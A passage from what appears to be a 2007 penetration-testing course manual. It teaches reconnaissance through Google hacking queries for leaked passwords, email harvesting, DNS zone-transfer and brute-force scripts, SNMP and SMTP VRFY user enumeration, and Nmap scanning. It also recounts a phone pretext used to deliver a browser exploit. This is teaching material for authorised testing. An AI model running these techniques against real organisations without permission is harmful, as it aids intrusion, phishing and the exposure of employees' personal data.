© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Lab Objectives:
Objective details:
By the end of this module, the student should be able to gather general
information about an organization or entity using open web resources.
56
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Information gathering is one of the most important stages of the attack. This is
where we gather basic information about our target in order to be able to launch
our attack later on. There's a simple equation which needs to be kept in mind:
more information = higher probability of successful attack
I was once engaged in a penetration test where my attack surface was limited
and the few services that were present were well secured. After scouring Google
for information about the company I was supposed to attack, I found a post,
made by one of the company employees, in a stamp collecting forum. The post
roughly translated as:
Hi I'm looking for rare stamps (for sale or trade) from the 50's.
Please contact me at:
mail: david@[Link].
Cell: 072-776223
This post was all I needed in order to launch a semi-sophisticated client side
attack. I registered a no-ip domain ([Link]) and collected some stamp
images from Google images. I embedded some nasty HTML containing exploit
code for the latest Internet Explorer security hole (MS05-001 at the time), and
proceeded to call David on his cellular phone. I told him my grandfather had
given me a huge, rare stamp collection from which I would be willing to trade
several stamps. I made sure to place this call on a working day, in order to
increase my chances of reaching him at the office.
57
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
58
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Overview
The first thing I usually do prior to an attack is spend some time browsing the
web and looking for background information about the organization I'm about to
attack. I usually first browse the organizational website and look for general
information such as contact information, phone and fax numbers, emails,
company structure etc. I also usually look for sites which link to the target site or
for organizational emails floating around the web.
Google has proven to be one of the best and most comprehensive search engines
to date. Google often violently spiders a website, inadvertently exposing sensitive
information on that web site due to various web server misconfigurations (such
as directory indexing, etc.) This results in huge amounts of data leaking into the
web and, even worse, leaking into the Google cache.
Google hacking was first introduced by Johnny Long, who has since published a
book about it called “Google Hacking” - a must for any serious Googlenaut.
The general idea behind “Google Hacking” is to use special search operators in
Google in order to narrow down our search results and find very specific files,
usually with a known format. You can find basic usage information here:
[Link]
59
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Using these operators we can search for specific information which might be of
value to us during a pen test. Let's try some simple examples in order to get our
mojo running.
site:[Link]
Notice how all the results come from the target site, [Link]. All in all,
Google offers 24 hits for this site, which suggests that the website itself is small
and has few public pages.
60
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's try the filetype operator (for some reason I didn't see it on the Google
operators page.)
filetype:pdf site:[Link]
This search will show us all the PDF files in the [Link] site.
Let's look at a nastier example. Redhat Linux has a wonderful option for
unattended installations, where all the needed details for the OS installation are
61
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
placed in an answer file and read from this file during the installation. You can
read more about kickstart here:
[Link]
# Kickstart filetype:cfg
install
lang en_US
62
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
%packages
@ Printing Support
@ Classic X Window System
@ X Window System
@ Laptop Support
@ GNOME
@ KDE
@ Sound and Multimedia Support
@ Network Support
@ Dialup Support
@ Messaging and Web Tools
@ Software Development
@ Games and Entertainment
@ Workstation Common
xbill
balsa
kuickshow
gnumeric-devel
esound-devel
cdparanoia-devel
pygtk-devel
libvorbis-devel
nmap-frontend
kfract
kdegames-devel
ImageMagick-devel
...
...
libkscan
tetex-xdvi
kscd
openssh-askpass-gnome
%post
If you missed it, look at the configuration file again. It says, black on white:
63
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Alas, the kickstart file also contains the root user hashed password, as well as
other detailed information about the computer to be installed.
This search reveals all the exposed MySQL backups which have been subjected
to Google, and often these dumps contain juicy information like usernames,
passwords, emails, credit card numbers etc. This information may just be the
handle we need in order to gain access to the server / network.
64
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
#
# Table structure for table 'admin_passwords'
#
CREATE TABLE admin_passwords (
name varchar(50) NOT NULL default '',
password varchar(12) NOT NULL default '',
logged_in enum('N','Y') default 'N',
active enum('N','Y') default 'N',
session_ID int(11) default NULL,
PRIMARY KEY (name)
) TYPE=MyISAM;
#
# Dumping data for table 'admin_passwords'
#
INSERT INTO admin_passwords VALUES ('umpire','ump_pass','N','N',NULL);
INSERT INTO admin_passwords VALUES ('monitor','monitor','N','N',NULL);
There are literally hundreds (if not thousands) of interesting searches that can be
made, and most of them are listed in Johnny's website:
[Link]
In fact, his site actually organizes these searches into categories such as
“usernames” and “passwords,” and even rates each search by popularity. Please
take the time to visit Johnny's site, and if this topic interests you (it should!) then
consider ordering the “Google Hacking” book. In any case, you MUST read
Johnny's “Google Hacking” PDF presentation, which of course can be found in
Google (hint hint.)
65
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Email harvesting is an effective way of finding out possible emails (and possibly
usernames) belonging to an organization.
[Link]
66
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
yeshira@[Link]
davidm@[Link]
elize@[Link]
shimons@[Link]
ilanas_pia@[Link]
webmaster@[Link]
BT ~ # cd /pentest/enumeration/google/
BT google # ./[Link]
+++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Google Web & Group Results:
+++++++++++++++++++++++++++++++++++++++++++++++++++++
galiam@[Link]
davidm@[Link]
ilanas_pia@[Link]
shimons@[Link]
shayprj@[Link]
support_y1@[Link]
webmaster@[Link]
jennifer@[Link]
leonidk@[Link]
yoavp@[Link]
yeshira@[Link]
elize@[Link]
meirm_pia@[Link]
merav@[Link]
67
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
oritr@[Link]
yarivt@[Link]
shoshie@[Link]
migu...@[Link]
byaniv@[Link]
malis@[Link]
Gilbu@[Link]
eyal_s@[Link]
hagit_b@[Link]
smadari@[Link]
hsmall@[Link]
yaelb@[Link]
shlomir@[Link]
yairo@[Link]
davidm@[Link]
shimons@[Link]
isupport@[Link]
rone@[Link]
BT google #
Once harvested, these emails can be used as a distribution base of a client side
attack, as will be discussed later on in the course.
I usually like to backtrace the emails found as they can reveal interesting
information about these individuals. Let's trace back shimons@[Link].
Searching for this email in Google reveals several posts Shimon made. Most of
these posts are questions about VPN and firewall configurations, which lead us
to the assumption that he is part of the IT / Security group in the organization.
The questions themselves may contain interesting information such as network
configurations (or misconfigurations.)
68
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
69
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Every few days, new web application vulnerabilities are found. Using Google, we
can often identify vulnerable servers. For example, in Febuary 2006, a phpBB
(popular open source forum software) vulnerability was found. Google was
quickly used in order to identify all the web sites running phpBB, and those sites
were targeted for attack.
[Link]
70
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Google has developed an API which allows you to interact with Google searches
programatically. We will look at the python Google API and show some basic
examples you can build on. Note that in order to use the Google API you must
register for a Google license key (free.) You can do that here:
[Link]
import google
[Link]('XXXXXXXXXXXXXX')
data = [Link]("offensive security")
i = 1
for result in [Link]:
print "Result", i, "of", len([Link])
print " URL: ", [Link]
print " Title: ", [Link]
i = i + 1
This allows for interesting tools to be created, such as the Senspost Wikto tool.
Try them out!
71
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link]
One specific search function that captured my attention was the IP search
capabilities of [Link]. Searching web content by IP address can help
identify load balancers, additional virtual domains and so on.
72
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
2.2.2 Netcraft
Netcraft is an Internet monitoring company based in Bradford-on-Avon, England.
Their most notable services are monitoring uptimes and providing server
operating system detection.
Netcraft can be used to indirectly find out information about web servers on the
internet, including the underlying operating system, web server version, uptime
graphs, etc.
The following screenshot shows the results for all the domain names containing
[Link]:
73
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Many other open sources of information exist. We've listed only a few, but the
basic rule of creative thinking applies to them all. If you think, it will come!
74
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # whois
Usage: whois [OPTION]... OBJECT...
Let's try to dig out the domain details for the [Link] domain. As usual,
we have absolutely no malicious intentions for this domain.
75
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # whois [Link]
Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to [Link]
for detailed information.
>>> Last update of whois database: Thu, 26 Oct 2006 13:42:34 EDT <<<
Registrant:
Check Point Software Technologies Ltd.
3A Jabotinsky St.
Ramat-Gan 52520
ISRAEL
IP Address: [Link]
Registrar: NETWORK SOLUTIONS, LLC.
Whois Server: [Link]
Domain Name: [Link]
76
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link] [Link]
[Link] [Link]
BT ~ #
IP Address: [Link]
Whois can also perform reverse lookups. Rather than inputting a domain name,
77
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
we can input an IP address. The Whois result will usually include the whole
network range which belongs to the organization.
BT ~ # whois [Link]
Abovenet Communications, Inc ABOVENET-5 (NET-216-200-0-0-1)
[Link] - [Link]
CHECKPOINT SOFTWARE MFN-B655-216-200-241-64-28 (NET-216-200-241-64-1)
[Link] - [Link]
Whois is also often made accessible over a web interface. The following are some
of the most comprehensive Whois web interfaces available:
[Link]
[Link]
[Link]
78
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We can see that the console output and the web interface output contains
identical information.
79
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
2.3 Exercise 7
Lab Requirements:
● BackTrack.
● Internet connection.
1. Choose your organization (or any other that may be of interest) and gather as
much information as possible about it using Google and other open web
resources.
5. Emails and employee names, try to identify the job position of each
employee found.
6. Rouge / leaked information (PDFs, XLS, PPT etc) found via Google.
80
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
81
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Lab Objectives:
Objective details:
By the end of this module, the student should be able to gather specific
information about an organization or entity using the enumeration methods
described.
82
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
NOTE: nslookup behaves differently between Linux and Windows. The Linux version of
nslookup has depreciated the ls command.
A DNS server will usually divulge DNS and Mail server information for the
domain which it is authoritative. This is a necessity, as public requests for mail
server addresses and DNS server addresses make up our basic internet
experience.
We can interact with a DNS server using various DNS clients such as host,
nslookup, dig, etc.
BT ~ # nslookup
> [Link]
Server: [Link]
Address: [Link]#53
Non-authoritative answer:
Name: [Link]
Address: [Link]
In this example, we've connected to our local DNS server ([Link]) and
asked it to resolve the A record for [Link]. The DNS server replies
83
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link] MX Queries
In order to identify the MX server (Mail Servers) belonging to an organization,
we can simply ask the DNS server to show us all the MX records available for
that domain:
Non-authoritative answer:
[Link] mail exchanger = 30 [Link].
[Link] mail exchanger = 5 [Link].
[Link] mail exchanger = 20 [Link].
Notice the 3 mail servers that were listed - mfnbm2, mx1 and mfnbm1. Each server
has a “cost” associated with it - 30 , 5 and 20 respectively. This cost indicates the
preference of arrival of mails to the mail servers listed. Lower costs are
preferred. From this we can assume that mx1 is the primary mail server and that
the others are backups in case mx1 fails.
84
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link] NS Queries
With a similar query, we can identify all the DNS servers authoritative for a
domain:
Non-authoritative answer:
[Link] nameserver = [Link].
[Link] nameserver = [Link].
We identify two DNS servers serving the [Link] domain – ns1 and ns4.
(What happened to 2 and 3 ?) This information can be useful to us later when we
attempt to perform zone transfers.
● Zone transfers
85
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # host [Link]
[Link] has address [Link]
BT ~ # host [Link]
Host [Link] not found: 3(NXDOMAIN)
BT ~ #
Notice that the name [Link] resolved, and the host command
(which acts as a DNS client) returned the IP address belonging to that FQDN.
The name [Link] did not resolve, and we got a “not found”
result.
We can take this idea a bit further and, with a bit of bash scripting, automate the
process of discovery. Let's compile a short list of common server names:
www
www1
www2
firewall
cisco
checkpoint
smtp
pop3
proxy
dns
dns1
ns
...
86
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We can now write a short bash script that will iterate through this list and
execute the host command on each line.
#!/bin/bash
for name in $(cat [Link]);do
host $[Link]
done
The output of this script is raw and not too useful to us.
BT ~ # ./[Link]
[Link] has address [Link]
[Link] is an alias for [Link].
[Link] has address [Link]
[Link] is an alias for [Link].
[Link] is an alias for [Link].
Host [Link] not found: 3(NXDOMAIN)
Host [Link] not found: 3(NXDOMAIN)
[Link] has address [Link]
[Link] has address [Link]
Host [Link] not found: 3(NXDOMAIN)
[Link] is an alias for [Link].
[Link] has address [Link]
[Link] is an alias for [Link].
[Link] is an alias for [Link].
Host [Link] not found: 3(NXDOMAIN)
Host [Link] not found: 3(NXDOMAIN)
Host [Link] not found: 3(NXDOMAIN)
Host [Link] not found: 3(NXDOMAIN)
Host [Link] not found: 3(NXDOMAIN)
[Link] is an alias for [Link].
[Link] has address [Link]
[Link] is an alias for [Link].
[Link] is an alias for [Link].
Host [Link] not found: 3(NXDOMAIN)
Host [Link] not found: 3(NXDOMAIN)
87
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's try cleaning up the output, and show only the lines which contain the string
“has address”.
#!/bin/bash
for name in $(cat [Link]);do
host $[Link] |grep “has address”
done
The output of this script looks much better and shows us only hostnames which
have been resolved.
BT ~ # ./[Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
BT ~ #
In order to get a clean list of IPs, we can further perform some test manipulation
on this output. We'll cut the list and show only the IP address field:
#!/bin/bash
for name in $(cat [Link]);do
host $[Link] |grep “has address”|cut -d" " -f4
done
BT ~ # ./[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
BT ~ #
88
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
In order to complete our information map, let's perform a Whois lookup on the
new IP range we just found ([Link]).
BT ~ # whois [Link]
89
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
mnt-by: CHECKPOINT-MNT
e-mail: gonenw@[Link]
source: RIPE # Filtered
route: [Link]/20
descr: Checkpoint
origin: AS25046
mnt-by: NCBS
source: RIPE # Filtered
BT ~ #
Using the host command, we can perform a PTR DNS query on an IP, and if that
IP has a PTR record configured, we will receive its FQDN.
BT ~ # host [Link]
[Link].[Link] domain name pointer [Link].
BT ~ #
90
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
#!/bin/bash
echo "Please enter Class C IP network range:"
echo "eg: 194.29.32"
read range
for ip in `seq 1 254`;do
host $range.$ip |grep "name pointer" |cut -d" " -f5
done
BT ~ # ./[Link]
Please enter Class C IP network range:
eg: 194.29.32
194.29.32
[Link].
[Link].
[Link].
...
[Link].
[Link].
[Link].
[Link].
[Link].
[Link].
[Link].
[Link].
[Link].
[Link].
[Link].
[Link].
[Link].
[Link].
[Link].
[Link].
[Link].
...
[Link].
You will notice that often, many of the host names give us a clue about the use of
the specific server, such as imap1 or VPNSSL.
91
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
If you are unfamiliar with the term Zone Transfer, or with the underlying
mechanisms of DNS updates, I strongly recommend that you read up about it
before continuing. Wikipedia has some nice resources about this:
[Link]
It is important to say that a successful zone transfer does not directly result in a
penetration. However it definitely aids the hacker in the process.
92
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's attempt a zone transfer on [Link]. We can use the host or dig
command in Linux for this.
We can gather the DNS server names either by using nslookup (as demonstrated
above), or by using the host command.
BT ~ # host -t ns [Link]
[Link] name server [Link].
[Link] name server [Link].
BT ~ #
Now that we have the DNS server addresses, we can try performing the zone
transfer.
Not surprisingly, the Checkpoint networks admins are not to be trifled with, and
they have configured their DNS servers well. We can see that our attempt has
been refused.
93
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's look at what a successful zone transfer looks like. We'll identify all the DNS
servers authoritative for this domain ([Link]) and then attempt a zone transfer
on each one.
BT ~ # host -t ns [Link]
[Link] name server [Link].
[Link] name server [Link].
[Link] name server [Link].
[Link] name server [Link].
94
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Address: [Link]#53
Aliases:
95
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
...
BT ~ #
#/bin/bash
# Simple Zone Transfer Bash Script
# $1 is the first arument given after the bash script
# if argument was given, identify the DNS servers for the domain
for server in $(host -t ns $1 |cut -d" " -f4);do
# For each of these servers, attempt a zone transfer
host -l $1 $server |grep "has address"
done
BT ~ # ./[Link] [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
96
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
97
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
This script is crude and can be improved in many ways. In fact, there are some
specialized tools in BackTrack for DNS enumeration. The most prominent of
them is [Link], which incorporates all three mentioned DNS reconnaissance
techniques into one tool.
BT ~ # cd /pentest/enumeration/dnsenum/
BT dnsenum # ./[Link]
Usage: perl [Link] <DOMAINNAME> <[Link]>
BT dnsenum #
Note that [Link] is a file with a long list of common DNS names which dnsenum
uses for the forward bruteforce lookups.
98
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
3.1.6 Exercise 8
Lab Requirements:
● BackTrack.
● Internet connection.
1. Chose the organization form the previous exercise and enumerate the following
information using DNS reconnaissance:
● Their MX servers.
● Their NS Servers.
2. Log on to the “Offensive Security” labs. Identify the DNS server and domain
name (think!). Attempt to perform a zone transfer for the local network.
Identify all the DNS names of the networked computers. Log this information in
your Leo file for later use.
99
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Try writing a DNS zone transfer script in Python (or Perl). Check the dnspython
module and examples.(5 points)
[Link]
100
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link]
Considering the fact that SNMP is usually used to monitor the important
servers and network devices, I consider SNMP to be one of the weakest links in
the local security posture of an organization. Using a simple sniffer, an attacker
can capture SNMP requests being sent to the network, and could potentially
compromise the whole network infrastructure (misconfigure a router / switch,
sniff other people's traffic by reconfiguring network devices, etc).
Generally speaking, the “public” community string can read information from an
SNMP enabled device, and the “private” community string can often reconfigure
values on the device.
101
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's examine some information from a Windows host running snmp by using the
following command:
If you try this in a lab, you will probably be overwhelmed by the amount of
information you'll get. Let me demonstrate some interesting commands:
102
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
"[Link]"
"[Link]"
"[Link]"
"[Link]"
"[Link]"
"[Link]"
"[Link]"
"[Link]"
"[Link]"
"[Link]"
"VMwareService.e"
"[Link]"
"[Link]"
"[Link]"
"[Link]"
"[Link]"
"[Link]"
"[Link]"
BT snmpenum #
103
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
There are lots of other interesting searches we can do. As usual, there are more
specialized tools for this task – I personally like [Link] and [Link].
Hostname : DC
Ip address : [Link]
Hardware : x86 Family 15 Model 4 Stepping 8 AT/AT COMPATIBLE - Software
Software : Windows 2000 Version 5.0 (Build 2195 Uniprocessor Free)
Primary Domain : WORKGROUP
System Uptime : 4 hours, 45:37.84
Hardware
-------------------------------------------------------------------------
A:\
Device Type : Removable Disk
Partition Type : UNKNOWN
D:\
Device Type : Compact Disc
Partition Type : UNKNOWN
User accounts
-------------------------------------------------------------------------
Administrator
IUSR_WIN2KSP4
IWAM_WIN2KSP4
TsInternetUser
NetShowServices
Guest
104
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Processes
-------------------------------------------------------------------------
Network services
-------------------------------------------------------------------------
DNS Client
DHCP Client
Workstation
SNMP Service
Plug and Play
Print Spooler
RunAs Service
Task Scheduler
Computer Browser
Automatic Updates
COM+ Event System
IIS Admin Service
Protected Storage
Removable Storage
IPSEC Policy Agent
Network Connections
Logical Disk Manager
VMware Tools Service
FTP Publishing Service
Distributed File System
License Logging Service
Remote Registry Service
Security Accounts Manager
System Event Notification
105
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Network interfaces
-------------------------------------------------------------------------
IP Forwarding Enabled : no
Routing information
-------------------------------------------------------------------------
TCP connections
-------------------------------------------------------------------------
106
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Software components
-------------------------------------------------------------------------
WebFldrs
IIS
-------------------------------------------------------------------------
totalBytesSentLowWord :0
totalBytesReceivedLowWord : 0
totalFilesSent :0
currentAnonymousUsers :0
currentNonAnonymousUsers : 0
totalAnonymousUsers :0
totalNonAnonymousUsers : 0
maxAnonymousUsers :0
maxNonAnonymousUsers :0
currentConnections :0
maxConnections :0
connectionAttempts :0
logonAttempts :0
totalGets :0
totalPosts :0
totalHeads :0
totalOthers :0
totalCGIRequests :0
totalBGIRequests :0
totalNotFoundErrors :0
BT snmpenum #
We'll be talking about SNMP again later on in the course, and we'll implement
some sophisticated attacks using this protocol.
107
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
3.2.5 Exercise 9
Lab Requirements:
● BackTrack.
● Internet connection.
108
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
A VRFY request asks the server to verify an email address while EXPN asks the
server for the membership of a mailing list. These can often be abused in order
to verify existing users on a mail server, which can aid the attacker later.
BT # nc -v [Link] 25
[Link]: inverse host lookup failed: Unknown host
(UNKNOWN) [[Link]] 25 (smtp) open
220 [Link] ESMTP Sendmail 8.13.7/8.13.7; Fri, 27 Oct 2006 14:53:15
+0200
VRFY muts
550 5.1.1 muts... User unknown
VRFY root
250 2.1.5 root <root@[Link]>
VRFY test
550 5.1.1 test... User unknown
punt!
BT #
Notice the difference in the message when a user is present on the system. The
SMTP server announces the user's presence on the system.
109
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's write a simple python script that will open a TCP socket, connect to the
SMTP server and issue a VRFY command:
#!/usr/bin/python
import socket
import sys
if len([Link]) != 2:
print "Usage: [Link] <username>"
[Link](0)
# Create a Socket
s=[Link](socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
connect=[Link](('[Link]',25))
# Recieve the banner
banner=[Link](1024)
print banner
# VRFY a user
[Link]('VRFY ' + [Link][1] + '\r\n')
result=[Link](1024)
print result
# Close the socket
[Link]()
110
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
3.3.1 Exercise 10
Lab Requirements:
● BackTrack.
● Internet connection.
1. Connect to the Offensive Security labs. Identify all machines running the SMTP
service. Identify the SMTP server which is vulnerable to VRFY enumeration.
2. Manually check that the SMTP server accepts the VRFY commands and write a
Python / Perl script that attempts to bruteforce possible usernames on this
machine. Make detailed notes about all usernames found in your Leo file– we will
use this list later on in the course!
111
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
The Windows implementation of the Netbios protocol has often been abused by
hackers. Since the introduction of Windows XP SP2 and Windows 2003, Netbios
access defaults have been made more secure, and this vector has slightly
diminished. In addition, many ISPs now block Netbios ports on their backbone
infrastructure, which voids this attack vector over the internet.
Saying this, in internal pen tests I often encounter legacy Windows NT, Windows
2000 or Linux Samba servers which are still vulnerable to these enumeration
methods.
112
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Note that after the null session was manually created, the victim computer
disclosed a list of shares it hosts.
Note that Null Session creation (RestrictAnonymous in the registry) has been
disabled in Windows XP and 2003 by default. For more information about Null
Sessions and the Netbios protocol visit:
[Link]
[Link]
[Link]
113
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
There are many tools to aid you in identifying computers running the Netbios
services (Windows File Sharing) such as SMB4K and smbserverscan.
114
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We can use more specialized tools such as the samrdump python script by Core
Impact in order to enumerate usernames on a Windows Machine:
115
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
3.4.4 Exercise 11
Lab Requirements:
● BackTrack.
● Internet connection.
1. Connect to the Offensive Security labs. Identify all machines running the SMB
service. Gather all the possible usernames you can get from the Windows
machines. We will be using them later in our Password attacks.
116
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
If you are unfamiliar with port scanning, please review the following link:
[Link]
117
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
The theory behind TCP port scanning is based on the 3 way TCP handshake. The
TCP RFC states that when a SYN is sent to an open port, an ACK should be sent
back. So the process of port scanning involves attempting to establish a 3 way
handshake with given ports. If they respond and continue the handshake, the
port is open – otherwise, an RST is sent back.
In a previous chapter we looked at Netcat and examined its abilities to read and
write to TCP ports. In fact, Netcat can be used as a simple port scanner as well.
The following syntax is used to perform a port scan using Netcat. We'll scan
ports 24-26 on [Link] (our mail server):
118
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Look at the ethereal dump that was generated due to this scan:
119
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Since UDP is stateless and does not involve a 3 way handshake, the mechanism
behind UDP port scanning is different. Before reading on, try using your newly
learnt Google skills to independently read up on UDP port scanning, and try to
understand the underlying mechanisms involved.
● UDP port scanning is often unreliable, as ICMP packets are often dropped
by firewalls and routers. This can lead to false positives in our scan, and
we'll often see UDP port scans showing all UDP ports open on a scanned
machine. Please be aware of this.
● Most port scanners do not scan all available ports and usually have a
preset list of “interesting ports” which are scanned.
4.4 Nmap
Nmap is probably one of the most comprehensive port scanners to date.
Looking at the Nmap usage might be daunting at first. However, once you start
scanning you will quickly get accustomed to the syntax.
In BackTrack, the Nmap configuration files (such as the default port scan list)
are located in /usr/local/share/nmap/.
Notice that when running Nmap as a root user, certain defaults are assumed (eg.
SYN scans).
We'll start with a simple port scan on [Link]. Note that running this scan
120
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # nmap [Link]
We've identified many open ports on [Link], but are these all the open
ports on this machine?
121
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's try port scanning all of the available ports on this machine by explicitly
specifying the ports to be scanned:
Notice how we've discovered some open ports which were not initially scanned
because they are not present in the Nmap default port configuration file
(/usr/local/share/nmap/nmap-services).
122
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Rather than scanning a single machine for all ports, let's scan all the machines
for one port (139.) This example could be useful for identifying all the computers
running Netbios / SMB services:
123
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We've found several IP addresses with open port 139. However we still do not
know which operating systems are present on these IPs.
Nmap has a wonderful feature called “OS Fingerprinting” (-O). This feature
attempts to guess the underlying operating system by inspecting the packets
received from the machine. As it turns out, each vendor implements the TCP/IP
stack slightly differently (default ttl values, windows size), and these differences
create an almost unique “fingerprint”.
124
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # nmap -O [Link]
Let's use this technique to identify all the IPs we found with open port 139.
However, rather than performing five separate scans, let's use an input file
containing the IPs we want Nmap to scan (-iL):
125
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Nmap has dozens of other usage options – take the time to review and practice
them.
126
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
4.5.1 Exercise 11
Lab Requirements:
● BackTrack
● Internet connection.
1. Use Nmap to identify all live hosts. Scan the local network and identify:
127
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
4.6 Unicornscan
Unicornscan can also be used as a VERY fast stateless scanner. The main
difference between Unicornscan and other scanners such as Nmap, is that
Unicornscan has its own TCP/IP stack. This enables us to scan asynchronously -
with one thread sending SYNs and the other thread receiving the responses.
I once had to map all the HTTP servers on an Internal class B network (65000 +
IP address space) using Unicornscan. This took under 3 minutes.
As with Nmap, Unicornscan has detailed usage information that can be read by
issuing the unicornscan -h command.
128
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # unicornscan [Link]
TCP open ftp[ 21] from [Link] ttl 128
TCP open smtp[ 25] from [Link] ttl 128
TCP open http[ 80] from [Link] ttl 128
TCP open nntp[ 119] from [Link] ttl 128
TCP open epmap[ 135] from [Link] ttl 128
TCP open netbios-ssn[ 139] from [Link] ttl 128
TCP open https[ 443] from [Link] ttl 128
TCP open microsoft-ds[ 445] from [Link] ttl 128
TCP open nntps[ 563] from [Link] ttl 128
